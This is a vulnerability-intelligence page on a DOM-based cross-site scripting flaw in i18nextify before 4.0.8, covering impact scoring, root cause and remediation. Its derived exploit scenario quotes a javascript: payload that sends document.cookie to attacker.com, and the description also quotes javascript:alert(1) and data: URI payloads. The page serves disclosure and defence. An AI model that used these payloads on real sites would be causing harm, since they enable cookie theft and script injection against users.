Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker compromises translation backend or CDN
-
DeliveryInjects javascript: or data: URI into translated href/src value
-
Exploiti18nextify substitutes malicious URI into live DOM attribute
-
ExecutionVictim loads page or clicks link
-
ImpactBrowser executes injected script in page origin
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that an attacker can control or intercept the content of translation files or the translation backend response. Specific conditions include: (1) the translation backend is served over unencrypted HTTP (MITM feasible), OR (2) the translation CDN is compromised, OR (3) the application accepts user-contributed translations (e.g., crowdsourced locales) without sanitization, OR (4) the developer has write access but the translation authoring workflow lacks security controls. The vulnerable code path requires that i18nextify parses and substitutes {{key}} tokens inside href or src attribute values of DOM elements. User interaction is required: for javascript: URIs, the user must click the link; for data: URIs in src attributes, the page containing the iframe/object/embed must load. No special configuration is required-the vulnerability exists in default i18nextify behavior with any untrusted translation source. Legitimate applications with fully trusted translation sources (developers only, no MITM, HTTPS backend) are not at realistic risk, but this requires the entire supply chain (authors, CDN, transport) to be secure. |
| Impact | CVSS 4.7 (AV:N/AC:H/PR:N/UI:R/S:C) indicates moderate risk with important limiting factors: network-based attack vector, high complexity (attacker must compromise translation source or perform MITM), no privilege requirement, and required user interaction (clicking or page load). The high complexity and user interaction requirement reduce real-world exploitation frequency, but the scope change (C:L/I:L) means impact extends beyond the vulnerable component. No EPSS score, POC, or KEV status provided, suggesting this is not actively exploited at scale in the wild-likely because successful exploitation requires either control of the translation infrastructure (CDN, backend) or MITM capability. The advisory acknowledges this is an internal-audit finding, not discovered in active exploitation. Real-world risk depends heavily on how the application is deployed: applications using i18nextify over HTTPS with fully trusted translation backends (developers only, no user contributions) face minimal practical risk; applications accepting user-contributed translations or serving over HTTP face substantially higher risk. The fix is straightforward (blocklist dangerous schemes), and no configuration complexity adds exploitation barriers beyond the advisory's stated requirements. |
| Exploit ScenarioDerived | An attacker compromises a translation CDN or performs a MITM attack on an unencrypted translation backend serving i18nextify. The attacker modifies the translation JSON to replace a legitimate link translation (e.g., 'nav.help' -> 'https://support.example.com') with a malicious javascript: URI (e.g., 'nav.help' -> 'javascript:fetch("https://attacker.com/steal?cookie="+document.cookie)'). When a victim clicks the help link on the website, the browser executes the injected JavaScript, stealing the user's authentication cookie and sending it to the attacker. Alternatively, the attacker injects a data: URI into an iframe src, embedding a full phishing page that mimics the site's login form within the victim's origin, bypassing the same-origin policy. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 07, 2026
DOM-based cross-site scripting (XSS) in i18nextify versions prior to 4.0.8 allows remote attackers to execute arbitrary JavaScript by injecting malicious URL schemes (javascript:, data:, vbscript:, file:) into translated href and src attribute values. An attacker who can compromise the translation backend, CDN, or intercept unencrypted traffic can inject payloads that execute with the origin's privileges when users interact with the affected links or embedded content. The vulnerability requires user interaction (clicking a link or loading a page with a malicious src) but affects any website using i18nextify with untrusted translation sources.
RemediationAI
Upgrade i18nextify to version 4.0.8 or later immediately. The patch blocks javascript:, data:, vbscript:, and file: URL schemes (case-insensitive, ignoring leading whitespace) when substituted into href and src attributes. Additionally, version 4.0.8 introduces an optional sanitize(html, ctx) hook that developers can configure to wire external sanitizers (e.g., DOMPurify) for additional protection on translated HTML bodies; this is recommended for applications with partially trusted translation sources (user-contributed locales, third-party CDNs). The advisory also fixes two related issues: the debug= and saveMissing= URL parameter detection now uses URLSearchParams for exact matching instead of substring matching, preventing parameter confusion attacks. For applications unable to immediately upgrade, compensating controls include serving the translation backend over HTTPS only (preventing MITM interception), restricting write access to translation JSON files, implementing a Content Security Policy that disallows data: and javascript: scheme execution, and avoiding user-contributed translations in the live backend without explicit sanitization. Note that CSP mitigation has trade-offs: restricting inline scripts may break legitimate i18nextify functionality depending on how translations are structured.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
i18nextify is a JavaScript internationalization library that injects translations into live DOM by replacing {{key}} interpolation tokens in element attributes and text content. The library intentionally renders HTML from translation strings to support formatting tags like <b>, <em>, and <a href>. The vulnerability exists in src/localize.js in the replaceInside handler (around line 122), which substitutes translated values into href and src attributes without validating the URL scheme. The code only checked for duplicated http:// prefixes but did not block dangerous schemes like javascript:, data:, vbscript:, or file:. These schemes are evaluated by the browser when applied to live DOM attributes: javascript: URIs are executed when clicked, data: URIs load inline content (including HTML/script) in the page's origin, vbscript: executes on legacy Internet Explorer, and file: accesses local resources. The root cause is improper input validation on substituted attribute values (CWE-79: Improper Neutralization of Input During Web Page Generation).
Know when I18Nextify gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionNVD
i18nextify is a JavaScript library that adds website internationalization via a script tag, without source code changes. Versions prior to 4.0.8 substitute {{key}} interpolation tokens inside src and href attribute values with the raw string returned by i18next.t(). The substitution logic in src/localize.js (the replaceInside handler) only guards against a duplicated http:// origin prefix - it does not validate the URL scheme of the substituted value. A translated value such as javascript:alert(1) or data:text/html,<script>...</script> is applied unchanged to the live DOM attribute when an attacker can influence the content of a translation file or the translation-backend response - for example, via a compromised translation CDN, user-contributed locales, a MITM on a plain-HTTP backend, or write access to the translation JSON. This issue was patched in version 4.0.8.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-28440
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB